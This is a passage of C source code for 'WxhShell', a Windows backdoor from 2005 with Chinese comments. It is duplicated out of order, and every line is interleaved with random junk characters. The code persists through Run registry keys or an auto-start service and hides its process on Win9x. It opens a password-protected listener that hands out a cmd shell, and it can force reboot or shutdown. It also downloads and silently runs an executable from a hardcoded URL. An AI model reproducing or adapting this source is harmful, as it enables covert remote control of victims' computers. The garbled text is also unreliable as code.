    break; =7wI/5iN  
    } l8 k@.<nCO  
  // 关机 tSran  
  case 'd': { @(M-ZO!D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6^y*A!xY  
    if(Boot(SHUTDOWN)) ]Qm$S5tU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d,AEV_  
    else { `w';}sQA7  
    closesocket(wsh); bYQvh/(J  
    ExitThread(0); 0F> ils  
    } "c` $U]M%  
    break; ej,j1iB  
    } k/o"E  
  // 获取shell EKo!vie G  
  case 's': { _b|mSo,{Y  
    CmdShell(wsh); j>Wb$p6S  
    closesocket(wsh); c u*8,*FU  
    ExitThread(0); 6RV42r^pf  
    break; lHQ:LI  
  } ~ (bY-6z  
  // 退出 S^(OjS  
  case 'x': { w#mnab@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $X<O\Kna  
    CloseIt(wsh); l*~O;do  
    break; ?!TFoD2'  
    } .UX`@Q:Gp  
  // 离开 3+vbA;R  
  case 'q': { )tYu3*'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #$W02L8  
    closesocket(wsh); yTJ Eo\g/@  
    WSACleanup(); m#6RJbEz  
    exit(1); %d?.v_Hu0  
    break; E$l4v>iA  
        } t 7GK\B8:  
  } *{WhUHZF  
  } SFqY*:svOw  
8R|!$P  
  // 提示信息 h;" 9.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C\ 2rSyo  
} x6yYx_  
  } Nini8@d  
rSu+zS7`X  
  return; M;2@<,rM  
} |)~t ^  
eka<mq|W  
// shell模块句柄 -)N, HAM>  
int CmdShell(SOCKET sock) FK;3atrz  
{ by}C;eN  
STARTUPINFO si; ~]f6@n  
ZeroMemory(&si,sizeof(si)); Q$,AQyBlqc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NJ]AxFG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `>ppDQaS)W  
PROCESS_INFORMATION ProcessInfo; H!SFSgAu  
char cmdline[]="cmd"; -t#YL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *G rYB6MT  
  return 0; aF8'^xF  
} xhcFZTj/(  
^mwS6WH6  
// 自身启动模式 pW&K=,7|  
int StartFromService(void) M'gGoH}B+q  
{ s#Ayl]8r  
typedef struct p"@[2hK  
{ e|-&h `[  
  DWORD ExitStatus; KBC?SxJSJc  
  DWORD PebBaseAddress; L2\<iJA}c  
  DWORD AffinityMask; +H{TV#+r  
  DWORD BasePriority; q4MR9ig1E_  
  ULONG UniqueProcessId; {,NF'x4$  
  ULONG InheritedFromUniqueProcessId; [?>\]  
}   PROCESS_BASIC_INFORMATION; &&PXWR!%]  
lcVZ 32MQ  
PROCNTQSIP NtQueryInformationProcess; uH{oJSrK  
%eOO8^N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gOy;6\/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l+nT$IPF  
HPryq )z  
  HANDLE             hProcess; <%4M\n  
  PROCESS_BASIC_INFORMATION pbi; mNA=<O;i)'  
;yu#Bs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?3 S{>+'  
  if(NULL == hInst ) return 0; h0.2^vM)R  
n }kn|To~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /\. [@]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &J?:wC=E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /hN;\Z[@  
v<3KxP'a  
  if (!NtQueryInformationProcess) return 0; =h\unQ1T  
'MgYSP<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c/DK31K  
  if(!hProcess) return 0; zq(4@S-TU  
*^oL$_Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z% DJ{!Hnh  
@{>0v"@  
  CloseHandle(hProcess); pC~ M5(F_  
5>6:#.f%!e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); : X}n[K  
if(hProcess==NULL) return 0; q6PG=9d0B  
S4U}u l  
HMODULE hMod; [H[L};%=j  
char procName[255]; KAJR.YNm  
unsigned long cbNeeded; 5 ) q_Aro  
^c<8|lK L@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nIr:a|}[  
=Y-.=}jp;  
  CloseHandle(hProcess); 5OCt Q4u  
$b~[>S-Q  
if(strstr(procName,"services")) return 1; // 以服务启动 XL[Dmu&  
B:Y F|k}T  
  return 0; // 注册表启动 W{%X1::q$  
} 9Nw&l@  
n$ rgJ  
// 主模块 Xub*i^(]  
int StartWxhshell(LPSTR lpCmdLine) b:5-0uxjs  
{ jM}(?^@  
  SOCKET wsl; n)0M1o#  
BOOL val=TRUE; '%X29B5  
  int port=0; >4#: qIU  
  struct sockaddr_in door; #w3J+U 6r  
< 1%}8t"  
  if(wscfg.ws_autoins) Install(); !r8_'K5R(  
bvOnS0,y  
port=atoi(lpCmdLine); k!ID  
oJZxRm[g$t  
if(port<=0) port=wscfg.ws_port; 7B<,nKd  
: *XAQb0  
  WSADATA data; RFLfvD<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IH&0>a  
-=cm7/X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _NB*+HVo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "F =NDF  
  door.sin_family = AF_INET; :R`e<g~4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 's.e"F#  
  door.sin_port = htons(port); NB4 Q,iq$  
UZdGV?o ?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K {kd:pr  
closesocket(wsl); $q*a}d[Q  
return 1; 1eywnOjrj  
} ]>Ym   
BhYvEbt  
  if(listen(wsl,2) == INVALID_SOCKET) { $%^](-  
closesocket(wsl); Z($i+L%.  
return 1; nE +H)%p  
} \%&A? D  
  Wxhshell(wsl); 0 *;i]owV  
  WSACleanup(); wz)s  
_Vl~'+e  
return 0; x`c 7*q%  
1tq ^W'  
} eR,/} g\  
dl"=ZI '^  
// 以NT服务方式启动 Ab]tLz|Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lu00@~rx/  
{ rFGPS%STS  
DWORD   status = 0; R`Fgne$4  
  DWORD   specificError = 0xfffffff; Ph%{h"  
SXP(C^?C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'pT13RFD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ? )h8uf4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Yn[>Y)  
  serviceStatus.dwWin32ExitCode     = 0; c9G%;U)  
  serviceStatus.dwServiceSpecificExitCode = 0; (5@H<c^6  
  serviceStatus.dwCheckPoint       = 0; X 0iy  
  serviceStatus.dwWaitHint       = 0; !uoT8BBAk  
oN[}i6^,e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >|c?ZqW  
  if (hServiceStatusHandle==0) return; :._Igjj$=  
I-/>M/66  
status = GetLastError(); 4Z>gK(  
  if (status!=NO_ERROR) Gh/nNwyu<  
{ #6 vf:94  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %g:'6%26  
    serviceStatus.dwCheckPoint       = 0; Z1jxu;O(  
    serviceStatus.dwWaitHint       = 0; f=k#o2  
    serviceStatus.dwWin32ExitCode     = status; n?nzm "g  
    serviceStatus.dwServiceSpecificExitCode = specificError; v$0|\)E)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "{r8'qn  
    return; 4b[bj").A  
  } %L^(eTi[  
h]h"-3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :Fm*WqZu  
  serviceStatus.dwCheckPoint       = 0; > SLQW  
  serviceStatus.dwWaitHint       = 0; _}Qtx/Cg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >O<a9wz  
} "b~C/-W I  
umWs8-'Uw  
// 处理NT服务事件,比如:启动、停止 ">.tPn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mW4Cc1*  
{ YnuY/zDF  
switch(fdwControl) U+*l!"O,  
{ VsJ+-IHm  
case SERVICE_CONTROL_STOP: 1Xo0(*O  
  serviceStatus.dwWin32ExitCode = 0; (D%vN&F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kmc_%Wm}  
  serviceStatus.dwCheckPoint   = 0; u 3#+fn_  
  serviceStatus.dwWaitHint     = 0; <!g]q1  
  { _qR?5;v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YTFU# F  
  } 26g]_Igq  
  return; (_|*&au J  
case SERVICE_CONTROL_PAUSE: haBmwq(f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *ma w`1  
  break; 5\# F5s}  
case SERVICE_CONTROL_CONTINUE: %SOXw 8-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r@}`Sw]@  
  break; t 86w&  
case SERVICE_CONTROL_INTERROGATE: >vp4R`  
  break; LT<2 n.S  
}; >#$SaG!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ij7P-5=<  
} +HBizJ9K  
L~- /'+  
// 标准应用程序主函数 pDZewb&cA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m_*wqNFA6  
{ z`IW[N7Z  
:Bmn<2[Y;  
// 获取操作系统版本 [:{ FR2*x  
OsIsNt=GetOsVer(); ,IyQmN y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ( ne[a2%>  
a51e~mg Z`  
  // 从命令行安装 !Pw*p*z  
  if(strpbrk(lpCmdLine,"iI")) Install(); |J,zU6t  
aSvv(iV  
  // 下载执行文件 !Ztqh Xr  
if(wscfg.ws_downexe) { _]OY[&R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QZ l#^-on  
  WinExec(wscfg.ws_filenam,SW_HIDE); tO{{ci$-T  
} !h4T3sO  
: c~SH/qS  
if(!OsIsNt) { TL2E|@k1]  
// 如果时win9x,隐藏进程并且设置为注册表启动 @>Yd6C  
HideProc(); R1X'}#mU  
StartWxhshell(lpCmdLine); .*x:  
}  >9!J?HA  
else mFF4qbe  
  if(StartFromService()) >2znn&g Z  
  // 以服务方式启动 A|8"}Hm  
  StartServiceCtrlDispatcher(DispatchTable); ~jL%l  
else 0WC\u xT7  
  // 普通方式启动 S~);   
  StartWxhshell(lpCmdLine); (O{OQk;CF  
fr/EkL1Dl  
return 0; ):'wxIVGI  
} 86OrJdD8  
U;#KFZ+~  
&Gjpc>d  
?{qUn8f2  
=========================================== g %mCg P  
)]j3-#  
(DO'iCxlNh  
UsyNn39  
Ob/)f)!!  
y017 B<Ou  
" 6?F88;L  
BQ0?B*yqd  
#include <stdio.h> oj djy#:  
#include <string.h> A,.X  
#include <windows.h> m "9f(  
#include <winsock2.h> `f;w  
#include <winsvc.h> $_"u2"p  
#include <urlmon.h> t`z"=S  
j**[[  
#pragma comment (lib, "Ws2_32.lib") vHf)gi}O|  
#pragma comment (lib, "urlmon.lib") =$J(]KPv!?  
4CF;>b f~  
#define MAX_USER   100 // 最大客户端连接数 Ncz4LKzt  
#define BUF_SOCK   200 // sock buffer #@B"E2F  
#define KEY_BUFF   255 // 输入 buffer =\< 7+nv  
:')[pO_FW*  
#define REBOOT     0   // 重启 ]gq)%T]  
#define SHUTDOWN   1   // 关机  Lto*L X  
&#2&V>pE  
#define DEF_PORT   5000 // 监听端口 fB3Jp~$  
X%'z  
#define REG_LEN     16   // 注册表键长度 "@&TC"YG0  
#define SVC_LEN     80   // NT服务名长度 W^[FWFUTY  
]?4;Lw  
// 从dll定义API ~o!- [  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vx$;wU Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J =^IS\m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =:&xdphZ+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .J75bX5  
G x[ZHpy;  
// wxhshell配置信息 aj`&ca8  
struct WSCFG { fs ufYIf  
  int ws_port;         // 监听端口 rw'+2\  
  char ws_passstr[REG_LEN]; // 口令 '(5GR I<  
  int ws_autoins;       // 安装标记, 1=yes 0=no v8ap"9b  
  char ws_regname[REG_LEN]; // 注册表键名 lD,2])>  
  char ws_svcname[REG_LEN]; // 服务名 J 6KHc^,7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :/T\E\Qr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8 ??-H0P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |Mq+QDTTw~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G\gjCp?!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TN0KS]^A3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rM7qBt  
I_<VGU k  
}; 6j(/uF4!#  
vUpAW[[  
// default Wxhshell configuration ^!1!l-  
struct WSCFG wscfg={DEF_PORT, ">bhxXeiN  
    "xuhuanlingzhe", ZIx-mC5  
    1, zTg\\z;  
    "Wxhshell", XZIapT  
    "Wxhshell", '|IcL1c=I  
            "WxhShell Service", l ;:IL\*1I  
    "Wrsky Windows CmdShell Service", yNns6  
    "Please Input Your Password: ", (t-hi8"  
  1, f)*"X[)o  
  "http://www.wrsky.com/wxhshell.exe", 6YM X7G]  
  "Wxhshell.exe" % Ln`c.C  
    }; 6HY): M&?  
efQ8jO  
// 消息定义模块  aO&U=!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5%Qxx\q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *2zp>(%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BmX'%5ho  
char *msg_ws_ext="\n\rExit."; MLWHO$C~T  
char *msg_ws_end="\n\rQuit."; N1~bp?$1  
char *msg_ws_boot="\n\rReboot..."; y&$n[j  
char *msg_ws_poff="\n\rShutdown..."; #|b*l/t8  
char *msg_ws_down="\n\rSave to "; 7_\sx7h{3  
Yj&Sb  
char *msg_ws_err="\n\rErr!"; e"04jd/  
char *msg_ws_ok="\n\rOK!"; <VxA&bb7c  
P-\f-FS  
char ExeFile[MAX_PATH]; -+WAaJ(b  
int nUser = 0; {zb'Z Yz  
HANDLE handles[MAX_USER]; i|^Q{3?o#  
int OsIsNt; ! UT'4Fs  
Q>{$Aqc,e  
SERVICE_STATUS       serviceStatus; c|?(>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~tp]a]yV  
uos8Mav{E  
// 函数声明 nONuw;K  
int Install(void); rt+4-WuK>  
int Uninstall(void); ~~/,2^   
int DownloadFile(char *sURL, SOCKET wsh); RAO+<m  
int Boot(int flag); y74Q(  
void HideProc(void); $wUYK%.  
int GetOsVer(void); =*\.zr  
int Wxhshell(SOCKET wsl); c[Fc3  
void TalkWithClient(void *cs); _KH91$iW8m  
int CmdShell(SOCKET sock); kOQ)QX  
int StartFromService(void); I0}.!  
int StartWxhshell(LPSTR lpCmdLine); +KTfGwKt  
/I7V\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ugri _  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cu/"=]D  
N )Z>]&5  
// 数据结构和表定义 9\_s&p=:.  
SERVICE_TABLE_ENTRY DispatchTable[] = Clum m@z;#  
{ P =X]'m_B  
{wscfg.ws_svcname, NTServiceMain}, =2p?_.|'  
{NULL, NULL} hZ45i?%  
}; O=o}uB-*6  
(K[{X0T  
// 自我安装 9<Pg2#*N0  
int Install(void) pQa51nc  
{ xTAfV N  
  char svExeFile[MAX_PATH]; F1yn@a "=J  
  HKEY key; )  ;0  
  strcpy(svExeFile,ExeFile); p'h'Cz  
_5p$#U`  
// 如果是win9x系统,修改注册表设为自启动 g6Vkns4  
if(!OsIsNt) { "|3I|#s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S\:^#Yi`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |=}+%>y_  
  RegCloseKey(key); &ivU4rEG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >#G%2Vp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |Rf j 0+  
  RegCloseKey(key); G+c&e:ip<  
  return 0; tYD8Y  
    } [7@blU  
  } /]U$OP*0  
} ,l>w9?0Z  
else { if'=W6W  
 kORWj<  
// 如果是NT以上系统,安装为系统服务 /!Rva"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2|,$#V=  
if (schSCManager!=0) >fC&bab  
{ lD0p=`.  
  SC_HANDLE schService = CreateService NN4Z:6W5  
  ( oKn$g[,SJh  
  schSCManager, 1`8s "T  
  wscfg.ws_svcname, N?@^BZ  
  wscfg.ws_svcdisp, J*zzjtY( 1  
  SERVICE_ALL_ACCESS, Al yJ!f"Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f+:iz'b#U  
  SERVICE_AUTO_START, 0C<\m\|~k  
  SERVICE_ERROR_NORMAL, 85E$m'0O  
  svExeFile, vU>^  
  NULL, \Tz|COG5h\  
  NULL, XC3)#D#HGh  
  NULL, o9xc$hX}  
  NULL, *ra)u-  
  NULL ]t 0o%w  
  ); 5Dkb/Iagi  
  if (schService!=0) li*S^uSF  
  { N]W*ei  
  CloseServiceHandle(schService); Nn_fhc>  
  CloseServiceHandle(schSCManager); dy6zrgxygP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2? E;(]dQ  
  strcat(svExeFile,wscfg.ws_svcname); 1| sem(t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VD.TosVeWo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MXSD8]je  
  RegCloseKey(key); g (&cq  
  return 0; H>+/k-n-  
    } t=7Gfv  
  } vC,FE )'  
  CloseServiceHandle(schSCManager);  9tpyrGv  
} ika*w  
} F+*E}QpM  
["nWIs[h  
return 1; b()8l'x_|K  
} wiI@DJ>E  
^y>V-R/N  
// 自我卸载 VESvCei  
int Uninstall(void) xC< )]  
{ 0L>3 i8'  
  HKEY key; @ 51!3jeu  
H r:*p6  
if(!OsIsNt) { `ulQ C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `v?hL~  
  RegDeleteValue(key,wscfg.ws_regname); ho>@ $9  
  RegCloseKey(key); !8p>4|VM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xI<l1@  
  RegDeleteValue(key,wscfg.ws_regname); 8J,^O04<  
  RegCloseKey(key); `O7vPE  
  return 0; Apu- 9|oP  
  } 8g=O0Gb  
} Gm- "?4(  
} w^L`"  
else { pqg2#@F.  
=)bOteWM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ls2OnL9  
if (schSCManager!=0) @6ckB (  
{ )nHMXZ>Td  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M Q =x:p{  
  if (schService!=0) Z&^vEQ  
  { 7Ydqg&  
  if(DeleteService(schService)!=0) { N)(m^M(~0  
  CloseServiceHandle(schService); p7+{xXf  
  CloseServiceHandle(schSCManager); 1 k!gR  
  return 0; "pt[Nm76)8  
  } ,q*|R O  
  CloseServiceHandle(schService); \WE/#To  
  } 0faf4LzU!  
  CloseServiceHandle(schSCManager); NL.3qx  
} ok--Jyhv#  
} I 6WHC*  
UL ew ~j  
return 1; U$D:gZ  
} *`OXgkQ  
R.|h<bur  
// 从指定url下载文件 @yGnrfr  
int DownloadFile(char *sURL, SOCKET wsh) !o| ex+z;  
{ f.ua,,P.  
  HRESULT hr; -~.+3rcZ]  
char seps[]= "/"; tic3a1  
char *token; j&DlI_  
char *file; kX V  
char myURL[MAX_PATH]; jYU0zGpj  
char myFILE[MAX_PATH]; FBNi (D  
WA}'[h   
strcpy(myURL,sURL); i8<5|du&?  
  token=strtok(myURL,seps); oi Q3E  
  while(token!=NULL) i.9}bw 9u@  
  { ';eAaDM  
    file=token; SMvlEj^  
  token=strtok(NULL,seps); a\-5tYo`u  
  } oItC;T  
f$ /C.E  
GetCurrentDirectory(MAX_PATH,myFILE); g?1bEOA!  
strcat(myFILE, "\\"); [ GknE#p  
strcat(myFILE, file); UHY)+6qt]  
  send(wsh,myFILE,strlen(myFILE),0); {(-TWh7V  
send(wsh,"...",3,0); *)r_Y|vg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (q"S0{  
  if(hr==S_OK) #d8]cm=  
return 0; bIt{kzuQC  
else qUe2(/TQu  
return 1; <mLU-'c@  
v-$X1s  
} !6.LSY,E  
bjUe+ #BL  
// 系统电源模块 "7 alpjwb  
int Boot(int flag) 7<jr0)  
{ &}gH!5L m  
  HANDLE hToken; ]mBlXE:Z  
  TOKEN_PRIVILEGES tkp; #)D$\0ag  
BI2'NN\  
  if(OsIsNt) { [e=k<gKH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &hpznIN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]I~BgE;C9  
    tkp.PrivilegeCount = 1; 5'Mw{`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U&kdR+dB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Mn\L55?E(  
if(flag==REBOOT) { sC.cMZe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W[!bF'- 10  
  return 0; n\JSt}A  
} '&/Y}]  
else { 7B _Wz9y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Rv*x'w ==  
  return 0; Wi)N/^;n  
} !H^R_GC  
  } sN[q. M?  
  else { #I yM`YB0  
if(flag==REBOOT) { Ejf>QIB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I~ SFY>s  
  return 0; 1\f8-:C  
} .:['&; k  
else { eF 8um$t9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bB.nevb9p  
  return 0; =Oh/4TbW[  
} Y$q--JA  
} K<ldl.  
0J)VEMC  
return 1; :fG9p`  
} 2\}6b4  
.dBW{|gN  
// win9x进程隐藏模块 (j}Wt8  
void HideProc(void) #|xj*+)H  
{ ]=^NTm,  
z81`Lhg6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %c c<>Hi  
  if ( hKernel != NULL ) wd:SBU~f5*  
  { vP<8 ,XG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \]/ 6>yT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !ImtnU}  
    FreeLibrary(hKernel); G_p13{"IM  
  } \U`rF  
C"}]PW  
return; /Bnh%6#ab  
} 8-vNXvl  
5|[\Se#  
// 获取操作系统版本 BYDOTy/%nJ  
int GetOsVer(void) oX]c$<w5  
{ LTY(6we-  
  OSVERSIONINFO winfo; S1$&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V,9UOC,Gn  
  GetVersionEx(&winfo); BI)$aR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ErMA$UkJ  
  return 1; k3"Y!Uha:  
  else _{gRCR)  
  return 0; [=xO>  
} !U+XIr  
{,m W7  
// 客户端句柄模块 l3/?,xn  
int Wxhshell(SOCKET wsl) ZYW=#df R  
{ Oz,/y3_  
  SOCKET wsh; a_(vpD^  
  struct sockaddr_in client; Yyh X%S%  
  DWORD myID; ;fDs9=3#  
U@?Ro enn  
  while(nUser<MAX_USER) oxm3R8 S  
{ hz+x)M`Y  
  int nSize=sizeof(client); OGO4~Up  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?Da!QH >,]  
  if(wsh==INVALID_SOCKET) return 1; ,}#l0 BY  
r(qU~re'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Pd<>E*>}c.  
if(handles[nUser]==0) 1@0ZP~LTB  
  closesocket(wsh); Z4Qq#iHZR  
else xBcE>^{1.  
  nUser++; X6@G)68  
  } Ik|nL#JH]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~lLIq!!\  
ugt|'i  
  return 0; G_x<2E"d  
} {*PB+WGe  
6d3-GMUQ  
// 关闭 socket X}3o  
void CloseIt(SOCKET wsh) oW/ #/;|`  
{ J4ltHk.|  
closesocket(wsh); |P]>[}mD  
nUser--; +lqX;*a=N  
ExitThread(0); ;/Dp  
} :>g*!hpb  
DPZG_{3D  
// 客户端请求句柄 "o[j'  
void TalkWithClient(void *cs) ) >SU J^u  
{ {)0"?$C_H  
E|d 8vt  
  SOCKET wsh=(SOCKET)cs; +Te;LJP  
  char pwd[SVC_LEN]; * 7 o(  
  char cmd[KEY_BUFF]; t/aT  
char chr[1]; Bq]eNq  
int i,j; x, ^j=n  
e[7n`ka '  
  while (nUser < MAX_USER) { Xj<B!Wn*Xb  
5)GO  
if(wscfg.ws_passstr) { v5GV"qY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9IC|2w66  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v9OK <  
  //ZeroMemory(pwd,KEY_BUFF); %A dE5HI-  
      i=0; 1yN/+Rq  
  while(i<SVC_LEN) { rBZ 0(XSZQ  
FHS6Mk26  
  // 设置超时 y  ZsC>  
  fd_set FdRead; 5[Yzi> o[  
  struct timeval TimeOut; 64>o3Hb2  
  FD_ZERO(&FdRead); /-l7GswF  
  FD_SET(wsh,&FdRead); $;dSM<r  
  TimeOut.tv_sec=8; $>;U^-#3  
  TimeOut.tv_usec=0; gG^K\+S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1/YWDxo,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =:zmF]j9  
vo[Zuv?<h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vx^+Z,y&QP  
  pwd=chr[0]; E8~Bp-G)  
  if(chr[0]==0xd || chr[0]==0xa) { !$x9s'D  
  pwd=0; 39QAj&  
  break; C0X_t  
  } .ns1;8  
  i++; [ENm(e$sI  
    } hp]T^  
&AI/;zru  
  // 如果是非法用户,关闭 socket 54w..8'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Lh6G"f(n  
} ;_GS<[A3  
h`OX()N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dw8Ce8W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T,,,+gPx  
gD0 FRKn  
while(1) { x-km)2x=W  
~JsTHE$F  
  ZeroMemory(cmd,KEY_BUFF); Ax4nx!W,   
8-c1q*q)  
      // 自动支持客户端 telnet标准   Bg*Oj)NM  
  j=0; }^;Tt-*k  
  while(j<KEY_BUFF) { bBBW7',[a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #]'#\d#i  
  cmd[j]=chr[0]; 3PLv;@!#j}  
  if(chr[0]==0xa || chr[0]==0xd) { "]81+ D  
  cmd[j]=0; HgP9evz,0  
  break; oq4*m[  
  } aCe<*;b@  
  j++; O<Rm9tZ8  
    } W|oLS  
MMglo3  
  // 下载文件 pDO&I]S`q0  
  if(strstr(cmd,"http://")) { (5] |Kcp|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jemg#GB8  
  if(DownloadFile(cmd,wsh)) q"@Y2lhD!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E-_FxBw  
  else mYf7?I~  
